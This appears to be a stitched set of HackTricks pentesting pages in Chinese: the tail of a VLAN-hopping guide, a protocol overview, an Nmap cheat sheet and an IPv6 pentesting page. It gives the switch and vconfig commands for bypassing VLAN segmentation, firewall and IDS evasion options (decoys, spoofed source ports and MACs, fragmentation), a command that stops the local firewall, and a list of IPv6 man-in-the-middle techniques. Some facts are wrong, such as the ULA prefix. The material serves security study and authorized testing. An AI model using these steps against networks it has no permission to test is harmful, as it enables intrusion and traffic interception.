在切换到干线模式之前，应编制现有VLAN的列表，并确定它们的标识符。然后将这些标识符分配给接口，通过干线访问各种VLAN。例如，正在使用的端口与VLAN 10相关联。

```
SW1# show vlan brief
```

**切换到干线模式需要进入接口配置模式**：

```
SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk
```

切换到干线模式将暂时中断连接，但随后可以恢复。

然后创建虚拟接口，分配VLAN ID，并激活：

```bash
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
sudo vconfig add eth0 60
sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up
```

随后，通过DHCP发出地址请求。或者，在DHCP不可行的情况下，可以手动配置地址：

```bash
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
```

### Example for manually setting a static IP address on an interface (VLAN 10):

### 在接口上手动设置静态IP地址的示例（VLAN 10）：

```bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
```

Connectivity is tested by initiating ICMP requests to the default gateways for VLANs 10, 20, 50, and 60.

Ultimately, this process enables bypassing of VLAN segmentation, thereby facilitating unrestricted access to any VLAN network, and setting the stage for subsequent actions.

## References

* <https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9>

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>


# Network Protocols Explained (ESP)

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

### 多播DNS（mDNS）

**mDNS**协议旨在在没有专用名称服务器的小型本地网络中进行IP地址解析。它通过在子网内进行多播查询来促使具有指定名称的主机响应其IP地址。然后，子网中的所有设备可以使用此信息更新其mDNS缓存。

需要注意的关键点：

* **域名放弃**：主机可以通过发送TTL为零的数据包释放其域名。
* **使用限制**：mDNS通常仅解析以\*\*.local\*\*结尾的名称。在此域中与非mDNS主机的冲突需要进行网络配置调整。
* **网络详细信息**：
* 以太网多播MAC地址：IPv4 - `01:00:5E:00:00:FB`，IPv6 - `33:33:00:00:00:FB`。
* IP地址：IPv4 - `224.0.0.251`，IPv6 - `ff02::fb`。
* 在UDP端口5353上运行。
* mDNS查询限于本地网络，不会跨越路由器。

### DNS-SD（服务发现）

DNS-SD是一种通过查询特定域名（例如，`_printers._tcp.local`）来发现网络上的服务的协议。响应包括所有相关域，例如在此情况下可用的打印机。可以在[此处](http://www.dns-sd.org/ServiceTypes.html)找到服务类型的全面列表。

### SSDP（简单服务发现协议）

SSDP促进了网络服务的发现，主要由UPnP使用。它是一种使用UDP的基于文本的协议，使用多播寻址。对于IPv4，指定的多播地址是`239.255.255.250`。SSDP的基础是[HTTPU](https://en.wikipedia.org/wiki/HTTPU)，这是HTTP的UDP扩展。

### 设备的Web服务（WSD）

连接到网络的设备可以通过Web服务（WSD）识别可用的服务，如打印机。这涉及广播UDP数据包。寻找服务的设备发送请求，而服务提供者宣布其提供的服务。

### OAuth 2.0

OAuth 2.0是一种协议，促进了用户信息的安全、选择性共享。例如，它使服务能够从Google访问用户数据而无需多次登录。该过程涉及用户身份验证，用户授权，以及Google生成令牌，允许服务访问指定用户数据。

### RADIUS

RADIUS（远程身份验证拨号用户服务）是主要由ISP使用的网络访问协议。它支持身份验证、授权和计费。用户凭据由RADIUS服务器验证，可能包括网络地址验证以增加安全性。身份验证后，用户获得网络访问，并跟踪其会话详细信息以进行计费和统计目的。

### SMB和NetBIOS

#### SMB（服务器消息块）

SMB是用于共享文件、打印机和端口的协议。它直接通过TCP（端口445）或通过TCP上的NetBIOS（端口137、138）运行。这种双重兼容性增强了与各种设备的连接。

#### NetBIOS（网络基本输入/输出系统）

NetBIOS管理资源共享的网络会话和连接。它支持设备的唯一名称和多个设备的组名称，从而实现定向或广播消息传递。通信可以是无连接的（无确认）或面向连接的（基于会话）。虽然NetBIOS传统上在诸如IPC/IPX之类的协议上运行，但它通常在TCP/IP上使用。NetBEUI是一个相关协议，以其速度而闻名，但由于广播而非常冗长。

### LDAP（轻量级目录访问协议）

LDAP是一种协议，允许在TCP/IP上管理和访问目录信息。它支持各种操作来查询和修改目录信息。主要用于访问和维护分布式目录信息服务，允许与设计用于LDAP通信的数据库进行交互。

### Active Directory（AD）

Active Directory是一个网络可访问的数据库，包含用户、组、特权和资源等对象，便于对网络实体进行集中管理。AD将其数据组织成域的分层结构，可以包含服务器、组和用户。子域允许进一步分段，每个子域可能维护自己的服务器和用户群。这种结构集中管理用户，授予或限制对网络资源的访问。可以进行查询以检索特定信息，如联系方式，或定位域内的资源，如打印机。

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Nmap Summary (ESP)

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**，请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-c3347d98363eddbac80c10d95a19c2559b0161d2%2FWebSec_1500x400_10fps_21sn_lightoptimized_v2.gif?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://websec.nl/>" %}

```
nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
```

## 参数

### 要扫描的IP

* **`<ip>,<net/mask>`:** 直接指定IP
* **`-iL <ips_file>`:** 列出IPs
* **`-iR <number>`**: 随机IP数量，可以使用 `--exclude <Ips>` 或 `--excludefile <file>` 排除可能的IP。

### 设备发现

默认情况下，Nmap启动一个发现阶段，包括：`-PA80 -PS443 -PE -PP`

* **`-sL`**: 非侵入式，列出目标，通过DNS请求解析名称。用于了解例如 [www.prueba.es/24](http://www.prueba.es/24) 所有IP是否为我们的目标。
* **`-Pn`**: 无ping。如果您知道它们都是活动的（否则，您可能会浪费很多时间，但此选项也会产生虚假负面结果，表示它们不活动），它可以防止发现阶段。
* **`-sn`** : 无端口扫描。完成侦察阶段后，不扫描端口。相对隐蔽，允许进行小范围网络扫描。具有特权时，发送一个ACK(-PA)到80，一个SYN(-PS)到443，以及一个回显请求和一个时间戳请求，没有特权时总是完成连接。如果目标是网络，则仅使用ARP(-PR)。如果与另一个选项一起使用，则仅丢弃另一个选项的数据包。
* **`-PR`**: ARP ping。在分析我们网络中的计算机时默认使用，比使用ping更快。如果不想使用ARP数据包，请使用 `--send-ip`。
* **`-PS <ports>`**: 发送SYN数据包，如果回答SYN/ACK则为开放（回答RST以避免结束连接），如果回答RST则为关闭，如果不回答则为不可达。如果没有特权，则自动使用完整连接。如果未指定端口，则默认为80。
* **`-PA <ports>`**: 与前一个类似，但使用ACK，结合两者可以获得更好的结果。
* **`-PU <ports>`**: 目标相反，发送到预期关闭的端口。某些防火墙仅检查TCP连接。如果关闭，则回答端口不可达，如果回答其他ICMP或不回答，则保持为目标不可达。
* **`-PE, -PP, -PM`** : ICMP PINGS: 回显回复，时间戳和地址掩码。用于确定目标是否活动。
* **`-PY<ports>`**: 默认发送SCTP INIT探测到80，INIT-ACK（开放）或ABORT（关闭）或无回应或ICMP不可达（不活动）可以回复。
* **`-PO <protocols>`**: 在标头中指定协议，默认为1（ICMP），2（IGMP）和4（Encap IP）。对于ICMP、IGMP、TCP（6）和UDP（17）协议，发送协议标头，对于其余协议仅发送IP标头。目的是由于标头的畸形，回答协议不可达或相同协议的响应，以了解其是否处于活动状态。
* **`-n`**: 无DNS
* **`-R`**: 始终DNS

### 端口扫描技术

* **`-sS`**: 不完成连接，因此不留下痕迹，如果可以使用非常好（特权）。默认使用此选项。
* **`-sT`**: 完成连接，因此会留下痕迹，但可以确保使用。默认情况下没有特权。
* **`-sU`**: 较慢，用于UDP。主要用于：DNS(53), SNMP(161,162), DHCP(67和68), (-sU53,161,162,67,68): 开放（回复），关闭（端口不可达），过滤（其他ICMP），开放/过滤（无回应）。对于开放/过滤，-sV发送大量请求以检测nmap支持的任何版本，并可以检测真实状态。这会大大增加时间。
* **`-sY`**: SCTP协议无法建立连接，因此没有日志，类似于-PY
* **`-sN,-sX,-sF`:** Null, Fin, Xmas，可以穿透一些防火墙并提取信息。它们基于符合标准的机器应该用RST回复所有没有SYN、RST或ACK标志的请求：开放/过滤（无回应），关闭（RST），过滤（ICMP不可达）。在Windows、CIsco、BSDI和OS/400上不可靠。在Unix上是可靠的。
* **`-sM`**: Maimon扫描：发送FIN和ACK标志，用于BSD，目前将所有返回为关闭。
* **`-sA, sW`**: ACK和Window，用于检测防火墙，了解端口是否被过滤。-sW可以区分开放/关闭，因为开放的端口会用不同的窗口值回复：开放（带有非0窗口的RST），关闭（RST窗口=0），过滤（ICMP不可达或无回应）。并非所有计算机都按此方式工作，因此如果全部关闭，则不起作用，如果有一些开放，则正常工作，如果有许多开放和少数关闭，则反向工作。
* **`-sI`:** 空闲扫描。对于存在主动防火墙但我们知道它不会过滤到某个IP的情况（或者当我们只是想要匿名时），我们可以使用僵尸扫描器（适用于所有端口），要查找可能的僵尸，我们可以使用脚本ipidseq或exploit auxiliary/scanner/ip/ipidseq。此扫描器基于IP数据包的IPID编号。
* **`--badsum`:** 发送错误的校验和，计算机将丢弃数据包，但防火墙可能会回复，用于检测防火墙。
* **`-sZ`:** “奇怪”的SCTP扫描器，当发送带有cookie回显片段的探测时，如果开放则应该被丢弃，如果关闭则应该回复ABORT。可以通过无法通过的防火墙，不好的是它不能区分过滤和开放。
* **`-sO`:** 协议IP扫描。发送错误和空标头，有时甚至无法区分协议。如果收到ICMP不可达协议，则为关闭，如果收到不可达端口，则为开放，如果收到其他错误，则为过滤，如果没有收到任何内容，则为开放|过滤。
* **`-b <server>`:** FTPhost--> 用于从另一台主机扫描主机，通过连接另一台机器的ftp，并要求其向您要扫描的端口发送文件，根据回复我们将知道它们是否开放。 \[\<user>:\<password>@]\<server>\[:\<port>] 几乎所有ftp服务器现在不允许您这样做，因此实用性很小。

### **集中分析**

**-p:** 用于指定要扫描的端口。要选择65335个端口：**-p-** 或 **-p all**。Nmap根据其流行度有内部分类。默认使用前1000个端口。使用 **-F**（快速扫描）分析前100个端口。使用 **--top-ports \<number>** 分析指定数量的主要端口（从1到65335）。按随机顺序检查端口，为了避免这种情况发生 **-r**。还可以选择端口：20-30,80,443,1024- 这最后意味着查看1024之后的端口。还可以按协议分组端口：U:53,T:21-25,80,139,S:9。还可以选择nmap中常用端口范围内的端口：-p \[-1024] 分析nmap-services中包含的端口直到1024。**--port-ratio \<ratio>** 分析常见端口，比率必须介于0和1之间。

**-sV** 版本扫描，可以调整强度从0到9，默认为7。

**--version-intensity \<numero>** 调整强度，较低的强度只会发送最可能的探测，而不是全部。这样可以大大缩短UDP扫描时间。

**-O** 操作系统检测

**--osscan-limit** 要正确扫描主机，至少需要一个端口开放和一个关闭，如果不满足此条件并且已设置此选项，则不会尝试进行操作系统预测（节省时间） **--osscan-guess** 当操作系统检测不完美时，会增加工作量

**脚本**

\--script *\<filename>*|*\<category>*|*\<directory>*|*\<expression>*\[,...]

默认情况下使用-sC或--script=default

可用的类型有: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln

* **Auth:** 运行所有可用于身份验证的脚本
* **Default:** 运行工具的默认基本脚本
* **Discovery:** 检索目标或受害者的信息
* **External:** 用于使用外部资源的脚本
* **Intrusive:** 使用被认为对受害者或目标具有侵入性的脚本
* **Malware:** 检查是否存在恶意代码或后门打开的连接
* **Safe:** 运行非侵入性脚本
* **Vuln:** 发现最常见的漏洞
* **All:** 运行所有可用的NSE扩展脚本

搜索脚本:

**nmap --script-help="http-\*" -> 以http-开头的脚本**

**nmap --script-help="not intrusive" -> 除了这些之外的所有脚本**

**nmap --script-help="default or safe" -> 在其中一个或两者中的脚本**

**nmap --script-help="default and safe" --> 同时存在的脚本**

**nmap --script-help="(default or safe or intrusive) and not http-\*"**

\--script-args *\<n1>*=*\<v1>*,*\<n2>*={*\<n3>*=*\<v3>*},*\<n4>*={*\<v4>*,*\<v5>*}

\--script-args-file *\<filename>*

\--script-help *\<filename>*|*\<category>*|*\<directory>*|*\<expression>*|all\[,...]

\--script-trace ---> 提供脚本运行信息

\--script-updatedb

**要运行单个脚本，只需输入: nmap --script Script\_Name target** --> 输入脚本将同时运行脚本和扫描器，因此也可以添加扫描器选项，可以添加 **“safe=1”** 以仅运行安全脚本。

**时间控制**

**Nmap可以调整时间单位为秒、分钟、毫秒:** --host-timeout 参数 900000ms, 900, 900s, and 15m 都是相同的。

Nmap将要扫描的主机总数分成组，并以块的形式分析这些组，直到所有组都被分析完毕，才会转移到下一个块（用户在块被分析之前也不会收到任何更新），这样，对于nmap来说使用大组更为高效。默认情况下，在C类中使用256。

可以使用\*\*--min-hostgroup\*\* ***\<numhosts>*****;** **--max-hostgroup** ***\<numhosts>***（调整并行扫描组大小）

可以控制并行扫描器的数量，但最好不要这样做（nmap已根据网络状态自动进行控制）: **--min-parallelism** ***\<numprobes>*****;** **--max-parallelism** ***\<numprobes>***

可以调整rtt超时时间，但通常不需要: **--min-rtt-timeout** ***\<time>*****,** **--max-rtt-timeout** ***\<time>*****,** **--initial-rtt-timeout** ***\<time>***

可以修改尝试次数:**--max-retries** ***\<numtries>***

可以修改主机扫描时间: **--host-timeout** ***\<time>***

可以调整每个测试之间的时间间隔以减慢速度: **--scan-delay** ***\<time>*****;** **--max-scan-delay** ***\<time>***

可以调整每秒发送的数据包数量: **--min-rate** ***\<number>*****;** **--max-rate** ***\<number>***

许多端口由于被过滤或关闭而响应时间较长，如果只关注打开的端口，可以使用以下选项加快速度: **--defeat-rst-ratelimit**

用于定义nmap攻击强度: -T paranoid|sneaky|polite|normal|aggressive|insane

-T (0-5)

-T0 --> 一次只扫描一个端口，等待5分钟后进行下一个

-T1 和 T2 --> 非常相似，但分别等待15秒和0.4秒进行下一个测试

-T3 --> 默认操作，包括并行操作

-T4 --> --max-rtt-timeout 1250ms --min-rtt-timeout 100ms --initial-rtt-timeout 500ms --max-retries 6 --max-scan-delay 10ms

-T5 --> --max-rtt-timeout 300ms --min-rtt-timeout 50ms --initial-rtt-timeout 250ms --max-retries 2 --host-timeout 15m --max-scan-delay 5ms

**防火墙/IDS**

阻止端口通信并分析数据包。

**-f** 用于分片数据包，默认在头部后分片为8字节，要指定大小使用 ..mtu（不要与-f一起使用），偏移必须是8的倍数。**版本扫描器和脚本不支持分片**

**-D decoy1,decoy2,ME** Nmap发送扫描器，但使用其他IP地址作为源，以隐藏您的真实IP地址。如果将ME放在列表中，Nmap会将您定位到那里，最好在您之前放置5或6个以完全掩盖您的身份。可以使用RND:\<number>生成随机IP。不适用于无TCP连接的版本检测。如果在网络内部，最好使用活动IP地址，否则很容易发现您是唯一活动的。

使用随机IP地址: nmap-D RND: 10 Ip\_target

**-S IP** 当Nmap无法获取您的IP地址时，您需要使用此选项提供IP地址。也可用于让目标认为有其他扫描目标。

**-e \<interface>** 选择接口

许多管理员会保持入站端口开放以确保一切正常运行，这样更容易而不是寻找其他解决方案。这些可能是DNS或FTP端口...为了查找此漏洞，nmap提供: **--source-port** ***\<portnumber>*****;-g** ***\<portnumber>*** *等效*

**--data** ***\<hex string>*** 用于发送十六进制文本: --data 0xdeadbeef and --data \xCA\xFE\x09

**--data-string** ***\<string>*** 用于发送普通文本: --data-string "Scan conducted by Security Ops, extension 7192"

**--data-length** ***\<number>*** Nmap仅发送头部，使用此选项可添加指定数量的字节（将随机生成）

要完全配置IP数据包，请使用\*\*--ip-options\*\*

如果要查看发送和接收的数据包选项，请指定--packet-trace。有关使用Nmap的IP选项的更多信息和示例，请参阅<http://seclists.org/nmap-dev/2006/q3/52>。

**--ttl** ***\<value>***

**--randomize-hosts** 使攻击不那么明显

**--spoof-mac** ***\<MAC address, prefix, or vendor name>*** 更改MAC地址示例: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2, and Cisco **--proxies** ***<逗号分隔的代理URL列表>*** 有时代理无法保持nmap所需的连接数，因此需要调整并行性: --max-parallelism

**-sP** 通过ARP在当前网络中发现主机

许多管理员在防火墙中创建规则，允许通过特定端口（如20、53和67）传递所有数据包，我们可以告诉nmap从这些端口发送数据包: **nmap --source-port 53 Ip**

**输出**

**-oN file** 普通输出

**-oX file** XML输出

**-oS file** Script kiddies输出

**-oG file** grepable输出

**-oA file** 除了-oS之外的所有输出

**-v level** 详细程度

**-d level** 调试

**--reason** 主机和状态的原因

**--stats-every time** 每隔一段时间显示运行状态

**--packet-trace** 查看发送的数据包，可以指定过滤器，如: --version-trace 或 --script-trace

**--open** 显示开放、开放|过滤和未过滤的端口

**--resume file** 生成摘要

**其他**

**-6** 允许ipv6

**-A** 等同于 -O -sV -sC --traceroute

**运行时**

在nmap运行时，可以更改选项:

v / V 增加/减少详细程度

d / D 增加/减少调试级别

p / P 打开/关闭数据包跟踪

? 打印运行时交互帮助屏幕

**Vulscan**

nmap的脚本，查看从离线数据库（从其他重要数据库下载）获取的服务版本，并返回可能的漏洞

使用的数据库包括:

1. Scipvuldb.csv | <http://www.scip.ch/en/?vuldb>
2. Cve.csv | [http://cve.mitre.org](http://cve.mitre.org/)
3. Osvdb.csv | [http://www.osvdb.org](http://www.osvdb.org/)
4. Securityfocus.csv | <http://www.securityfocus.com/bid/>
5. Securitytracker.csv | [http://www.securitytracker.com](http://www.securitytracker.com/)
6. Xforce.csv | [http://xforce.iss.net](http://xforce.iss.net/)
7. Exploitdb.csv | [http://www.exploit-db.com](http://www.exploit-db.com/)
8. Openvas.csv | [http://www.openvas.org](http://www.openvas.org/)

下载并安装到Nmap文件夹:

wget <http://www.computec.ch/projekte/vulscan/download/nmap\\_nse\\_vulscan-2.0.tar.gz> && tar -czvf nmap\_nse\_vulscan-2.0.tar.gz vulscan/ && sudo cp -r vulscan/ /usr/share/nmap/scripts/

还需下载数据库包并添加到 /usr/share/nmap/scripts/vulscan/

用法:

使用所有数据库: sudo nmap -sV --script=vulscan HOST\_TO\_SCAN

使用特定数据库: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST\_TO\_SCAN

## 加快Nmap服务扫描速度 x16

根据[**此帖子**](https://joshua.hu/nmap-speedup-service-scanning-16x)，您可以通过将 **`/usr/share/nmap/nmap-service-probes`** 中的所有 **`totalwaitms`** 值修改为 **300**，**`tcpwrappedms`** 修改为 **200** 来加快nmap服务分析速度。

此外，没有明确定义 **`servicewaitms`** 的探测使用默认值 **`5000`**。因此，我们可以为每个探测添加值，或者我们可以自己**编译nmap**并在[**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service_scan.h#L79)中更改默认值。

如果您不想在 `/usr/share/nmap/nmap-service-probes` 文件中完全更改 **`totalwaitms`** 和 **`tcpwrappedms`** 的值，可以编辑[parsing code](https://github.com/nmap/nmap/blob/master/service_scan.cc#L1358)，使得`nmap-service-probes`文件中的这些值完全被忽略。

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-c3347d98363eddbac80c10d95a19c2559b0161d2%2FWebSec_1500x400_10fps_21sn_lightoptimized_v2.gif?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://websec.nl/>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式:

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)系列
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Pentesting IPv6

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## IPv6基础理论

### 网络

IPv6地址被结构化以增强网络组织和设备交互。IPv6地址分为：

1. **网络前缀**：前48位，确定网络段。
2. **子网ID**：接下来的16位，用于定义网络中的特定子网。
3. **接口标识符**：最后的64位，唯一标识子网内的设备。

虽然IPv6省略了IPv4中的ARP协议，但引入了带有两个主要消息的**ICMPv6**：

* **邻居请求（NS）**：用于地址解析的多播消息。
* **邻居通告（NA）**：对NS的单播响应或自发公告。

IPv6还包括特殊的地址类型：

* **环回地址（`::1`）**：相当于IPv4的`127.0.0.1`，用于主机内部通信。
* **链路本地地址（`FE80::/10`）**：用于本地网络活动，不用于互联网路由。在同一本地网络上的设备可以使用此范围相互发现。

#### 在网络命令中实际使用IPv6

要与IPv6网络交互，您可以使用各种命令：

* **Ping链路本地地址**：使用`ping6`检查本地设备的存在。
* **邻居发现**：使用`ip neigh`查看在链路层发现的设备。
* **alive6**：用于在同一网络上发现设备的替代工具。

以下是一些命令示例：

```bash
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80

# Alternatively, use alive6 for neighbor discovery
alive6 eth0
```

### **从MAC地址推导Link-local IPv6地址**

给定一个MAC地址 **`12:34:56:78:9a:bc`**，您可以按照以下步骤构建Link-local IPv6地址：

1. 将MAC转换为IPv6格式：**`1234:5678:9abc`**
2. 在开头加上 `fe80::` 并在中间插入 `fffe`：**`fe80::1234:56ff:fe78:9abc`**
3. 反转从左起第七位，将 `1234` 改为 `1034`：**`fe80::1034:56ff:fe78:9abc`**

### **IPv6地址类型**

* **唯一本地地址 (ULA)**：用于本地通信，不用于公共互联网路由。前缀：**`FEC00::/7`**
* **组播地址**：用于一对多通信。传送到组播组中的所有接口。前缀：**`FF00::/8`**
* **任播地址**：用于一对最近通信。根据路由协议发送到最近的接口。属于全局单播范围 **`2000::/3`** 的一部分。

### **地址前缀**

* **fe80::/10**：链路本地地址 (类似于169.254.x.x)
* **fc00::/7**：唯一本地单播 (类似于私有IPv4范围如10.x.x.x, 172.16.x.x, 192.168.x.x)
* **2000::/3**：全局单播
* **ff02::1**：组播所有节点
* **ff02::2**：组播路由器节点

### **在网络中发现IPv6地址**

#### 方法1：使用链路本地地址

1. 获取网络中设备的MAC地址。
2. 从MAC地址推导出链路本地IPv6地址。

#### 方法2：使用组播

1. 向组播地址 `ff02::1` 发送ping以发现本地网络上的IPv6地址。

```bash
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table
```

### IPv6中间人攻击（MitM）攻击

在IPv6网络中执行MitM攻击有几种技术，例如：

* 伪造ICMPv6邻居或路由器通告。
* 使用ICMPv6重定向或“数据包太大”消息来操纵路由。
* 攻击移动IPv6（通常需要禁用IPSec）。
* 设置一个恶意的DHCPv6服务器。

## 在野外识别IPv6地址

### 探索子域

一种查找潜在链接到IPv6地址的子域的方法涉及利用搜索引擎。例如，使用类似`ipv6.*`的查询模式可能是有效的。具体来说，可以在Google中使用以下搜索命令：

```bash
site:ipv6./
```

### 利用 DNS 查询

要识别 IPv6 地址，可以查询特定的 DNS 记录类型：

* **AXFR**：请求完整的区域传输，可能会揭示各种 DNS 记录。
* **AAAA**：直接寻找 IPv6 地址。
* **ANY**：一个广泛的查询，返回所有可用的 DNS 记录。

### 使用 Ping6 进行探测

在确定与组织相关联的 IPv6 地址后，可以使用 `ping6` 实用程序进行探测。该工具有助于评估已识别的 IPv6 地址的响应性，并可能还有助于发现相邻的 IPv6 设备。

### 参考资料

* <http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html>
* <https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904>

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的 **公司在 HackTricks 中做广告** 或 **下载 PDF 版本的 HackTricks**，请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>


